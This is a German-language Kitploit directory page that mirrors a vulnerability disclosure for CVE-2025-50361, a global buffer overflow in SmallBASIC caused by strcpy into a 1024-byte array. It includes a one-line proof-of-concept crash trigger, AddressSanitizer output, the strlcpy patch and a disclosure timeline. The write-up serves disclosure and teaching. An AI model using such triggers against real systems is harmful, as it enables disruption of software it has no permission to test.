Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/ch1keen/cve-2025-50361
Statische AnalyseSchwachstellenanalyseCode-AnalyseExploitationLernen & BildungBinary-Exploitation
GitHubch1keen/cve-2025-50361

CVE-2025-50361

Bericht und PoC eines globalen Pufferüberlaufs auf SmallBASIC vor 02364eff880ba62afac67bcceebafade2b40d21f

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Global Buffer Overflow in SmallBASIC

SmallBASIC ist ein schneller und leicht zu erlernender BASIC-Sprachinterpreter, ideal für alltägliche Berechnungen, Skripte und Prototypen. SmallBASIC enthält trigonometrische Funktionen, Matrizen- und Algebrafunktionen, eine integrierte IDE, eine leistungsstarke Zeichenkettenbibliothek sowie System-, Sound- und Grafikbefehle, zusammen mit einer strukturierten Programmiersyntax.

  • Betroffene Version: Vor Commit 02364eff880ba62afac67bcceebafade2b40d21f (committed am 2025.06.06).
  • Korrigierte Version: Commit 02364eff880ba62afac67bcceebafade2b40d21f. Siehe den Commit

Ursache

In Zeile 277 von src/platform/sdl/main.cpp wird strcpy aufgerufen, um argv in die globale Variable opt_command zu kopieren, die in src/common/smbas.h definiert ist. Die globale Variable ist ein Array fester Größe, gemäß dem Makro OPT_CMD_CZ, das in derselben Datei definiert ist.

root@kitploit:~
// src/common/smbas.h:105
EXTERN char opt_command[OPT_CMD_CZ] //

// src/platform/sdl/main.cpp:263
  while (1) {
    int option_index = 0;
    int c = getopt_long(argc, argv, "hvkc:f:r:x:n:m:e:d:p:", OPTIONS, &option_index);
    if (c == -1) {
      // no more options
      if (!option_index) {
        for (int i = 1; i < argc; i++) {
          const char *s = argv[i];
          int len = strlen(s);
          if (runFile == NULL
              && ((strcasecmp(s + len - 4, ".bas") == 0 && access(s, 0) == 0)
                  || (strstr(s, "://") != NULL))) {
            runFile = strdup(s);
          } else if (chdir(s) != 0) {
            strcpy(opt_command, s);  // VULNERABLE
          }
        }
      }
      break;
    }

Laut src/common/smbas.h ist OPT_CMD_CZ als 1024 definiert.

root@kitploit:~
#define OPT_CMD_CZ 1024

Anders als die Funktion strlcpy prüft strcpy nicht, wie viele Bytes kopiert werden. So können mehr als 1024 Bytes in das Array opt_command kopiert werden. Da das Befehlszeilenargument länger als 1024 Bytes sein kann, kann die Eingabe andere Objekte überschreiben. Dies kann dazu führen, dass das Programm sbasicg unerwartetes Verhalten zeigt.

Beachten Sie, dass die maximale Länge der Zeichenfolge, die Sie in der Windows-Eingabeaufforderung verwenden können, 8191 Zeichen beträgt. Unter Linux hängt die Länge von ARG_MAX und MAX_ARG_STRINGS ab.

  • Windows: https://learn.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation#more-information
  • Linux: https://unix.stackexchange.com/questions/120642/what-defines-the-maximum-size-for-a-command-single-argument

Auslöser (Proof-of-Concept)

Erstellen Sie das SmallBASIC-Projekt und führen Sie dann aus:

root@kitploit:~
$ src/platform/sdl/sbasicg $(python -c 'print("a"*1024)')

Es verursacht einen globalen Pufferüberlauf beim Parsen des Befehlszeilenarguments, das in der Funktion main implementiert ist. Nachfolgend die Ausgabe des Address Sanitizer:

root@kitploit:~
=================================================================
==5322==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000016c22a0 at pc 0x0000004ba2e4 bp 0x7ffeb3ebac70 sp 0x7ffeb3eba428
WRITE of size 1025 at 0x0000016c22a0 thread T0
    #0 0x4ba2e3 in strcpy (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)
    #1 0x8759c6 in main /home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/main.cpp:277:13
    #2 0x79e3ca62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #3 0x79e3ca62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #4 0x4378b4 in _start (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4378b4) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)

0x0000016c22a0 is located 0 bytes after global variable 'opt_command' defined in '/home/ch1keen/fuzz/SmallBASIC/src/common/smbas.h:105' (0x16c1ea0) of size 1024
SUMMARY: AddressSanitizer: global-buffer-overflow (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea) in strcpy
Shadow bytes around the buggy address:
  0x0000016c2000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000016c2280: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2300: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2380: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5322==ABORTING

Auswirkungen

Die Auswirkungen der Schwachstelle sind unklar. Ein globaler Pufferüberlauf könnte jedoch andere globale Variablen überschreiben, was möglicherweise zum Überschreiben von Flags und Einstellungen des Programms führt.

Der Patch

Die Schwachstelle wurde behoben, indem nahezu alle strcpy durch strlcpy ersetzt wurden, einschließlich des von mir gemeldeten Problems.

root@kitploit:~
@@ -277,1 +277,1 @@ int main(int argc, char* argv[]) {
< strcpy(opt_command, command);
---
> strlcpy(opt_command, command, sizeof(opt_command));

Siehe den Commit für den detaillierten Patch.

Zeitplan der Offenlegung

  • 2025.05.18: Schwachstellenbericht an den Maintainer gesendet ([email protected]).
  • 2025.05.18: An MITRE gemeldet.
  • 2025.06.06: Der Maintainer veröffentlichte den Patch.
  • 2025.07.09: Öffentliche Offenlegung.
  • 2025.08.13: MITRE hat CVE-2025-50361 zugewiesen.
Tool herunterladen